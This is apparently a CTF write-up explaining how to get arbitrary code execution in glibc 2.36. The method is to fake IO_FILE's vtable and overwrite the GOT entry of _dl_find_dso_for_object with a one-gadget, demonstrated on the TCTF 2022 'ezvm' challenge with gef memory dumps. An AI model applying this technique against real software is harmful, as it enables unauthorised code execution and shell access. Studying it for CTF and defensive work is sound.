Code Execution by Faking IO_FILE->vtable in GLIBC 2.36 [0x1]
In the first part, I showed a new method to completely control the vtable
of IO_FILE
. In this chapter I would like to present a much more stable way to gain arbitrary code execution and use this way to solve a CTF challenge.
invalid vtable
In first chapter we focus on bypassing the checking in _IO_vtable_check
.
When flag != &_IO_IO_vtable_check
and rtld_active() != 0
, it will finally invoke _dl_addr()
Notice that it will call _dl_find_dso_for_object()
. From the assembly code we can find that the address of this function is in ld
and it is dynamically resolved which means if we are able to override the .GOT
table of it we can jump to anywhere we want! And yes, we don’t need to bruteforce ld
’s address with this method.
TCTF 2022 ezvm
Here I will demonstrate how to use this arbitrary code execution method to solve this CTF challenge. I will focus on code execution part since there are plenty of writeups with different ways of heap grooming and libc leaking I will only briefly cover these parts.
with a simple heap grooming we can have a libc address at memory[0]
, then we leak the address bit by bit.
Now we have libc address, so that we are able to calculate one gadget from it. Then using the OOB bug and allocate using mmap
by setting a size that is big enough.
after that we can notice the vtable
is already overrided by AAAA
gef➤ x/32xg &_IO_2_1_stderr_
0x7fd1d021a6a0 <_IO_2_1_stderr_>: 0x0000000000000000 0x1122334455667788
0x7fd1d021a6b0 <_IO_2_1_stderr_+16>: 0x1122334455667788 0x1122334455667788
0x7fd1d021a6c0 <_IO_2_1_stderr_+32>: 0x1122334455667788 0xaabbccdd55667788
0x7fd1d021a6d0 <_IO_2_1_stderr_+48>: 0x1122334455667788 0x1122334455667788
0x7fd1d021a6e0 <_IO_2_1_stderr_+64>: 0x1122334455667788 0x1122334455667788
0x7fd1d021a6f0 <_IO_2_1_stderr_+80>: 0x1122334455667788 0x1122334455667788
0x7fd1d021a700 <_IO_2_1_stderr_+96>: 0x1122334455667788 0x1122334455667788
0x7fd1d021a710 <_IO_2_1_stderr_+112>: 0x1122334455667788 0x1122334455667788
0x7fd1d021a720 <_IO_2_1_stderr_+128>: 0x1122334455667788 0x1122334455667788
0x7fd1d021a730 <_IO_2_1_stderr_+144>: 0x1122334455667788 0x1122334455667788
0x7fd1d021a740 <_IO_2_1_stderr_+160>: 0x1122334455667788 0x1122334455667788
0x7fd1d021a750 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000
0x7fd1d021a760 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000
0x7fd1d021a770 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x0000000041414141 <- any address here
and now the .GOT
table of _dl_find_dso_for_object
is our one gadget
0x7f3dbf819088 <[email protected]>: 0x00007f3dbf6ebcf8 0x00007f3dbf7b3430
gef➤ x/16i 0x00007f3dbf6ebcf8
0x7f3dbf6ebcf8 <execvpe+1144>: lea rdi,[rip+0xec999] # 0x7f3dbf7d8698
0x7f3dbf6ebcff <execvpe+1151>: mov QWORD PTR [rbp-0x78],r9
0x7f3dbf6ebd03 <execvpe+1155>: call 0x7f3dbf6eb0f0 <execve>
0x7f3dbf6ebd08 <execvpe+1160>: mov rsp,QWORD PTR [rbp-0x78]
0x7f3dbf6ebd0c <execvpe+1164>: mov eax,DWORD PTR fs:[r14]
0x7f3dbf6ebd10 <execvpe+1168>: jmp 0x7f3dbf6ebb82 <execvpe+770>
0x7f3dbf6ebd15 <execvpe+1173>: nop DWORD PTR [rax]
0x7f3dbf6ebd18 <execvpe+1176>: mov BYTE PTR [rbp-0x61],0x1
0x7f3dbf6ebd1c <execvpe+1180>: jmp 0x7f3dbf6ebb9d <execvpe+797>
0x7f3dbf6ebd21 <execvpe+1185>: mov DWORD PTR fs:[rcx],0x7
0x7f3dbf6ebd28 <execvpe+1192>: mov rsp,r15
0x7f3dbf6ebd2b <execvpe+1195>: jmp 0x7f3dbf6eb8e4 <execvpe+100>
0x7f3dbf6ebd30 <execvpe+1200>: lea rdi,[r10+0x10]
0x7f3dbf6ebd34 <execvpe+1204>: lea rsi,[rbx+0x8]
0x7f3dbf6ebd38 <execvpe+1208>: mov rdx,r11
0x7f3dbf6ebd3b <execvpe+1211>: mov QWORD PTR [rbp-0x80],r9
gef➤
Then trigger IO operation by exiting the program.
Conclusion
With this method we can gain arbitrary code execution without constructing any complex structure but only two arbitrary writing and libc address leaking. One of the most obvious drawbacks(in my opinion) is that we almost can’t control any registers which are used to pass arguments, thus we can only jump to one gadget to get shell here.